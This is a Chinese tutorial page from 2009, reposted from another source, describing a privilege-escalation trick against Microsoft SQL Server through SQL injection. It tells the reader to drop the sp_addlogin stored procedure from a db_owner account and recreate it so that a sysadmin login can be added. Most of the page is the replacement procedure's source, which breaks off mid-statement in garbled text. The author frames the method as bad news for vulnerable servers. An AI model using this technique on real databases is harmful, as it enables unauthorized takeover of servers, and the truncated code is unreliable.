繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入攻击通杀
- MSSQL
- SQL Server教程:备份和恢复措施
- 合理建立索引-提高SQL Server的性能之法
- SQL Server查询过程中 实际消耗了多大内存？
- 教程：SQL Server 2008 数据挖掘的概念
- 在SQL Server中生成脚本的方法
- 如何提高SQL Server复制的向后兼容性
- 为SQL Server 2008添加报表服务的虚拟目录
- 在SQL Server中创建全局临时表
- SQL Server触发器的使用方法
- 如何通过调整Windows参数提高数据库服务器性能
- 详解SQL Server 2005 FOR XML嵌套查询的使用
- 初识Sybase数据库
- 浅谈SQL Server Compact的DLL文件
- 丢失的数据忘记备份怎么办？
- SQLServer数据库中如何保持数据一致性
- 教你解决SQLServer与服务器连接时出错
- SQLServer中游标是如何处理数据的？
- SQL Sever性能怎样全方位诊断？
- SQL Server教程：详细学习游标
- 详解SQLServer 存储过程
MSSQL 中的 SQL注入攻击通杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-30 浏览: 150 ::
收藏到网摘: n/a
不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus&nb
评论 (0) All
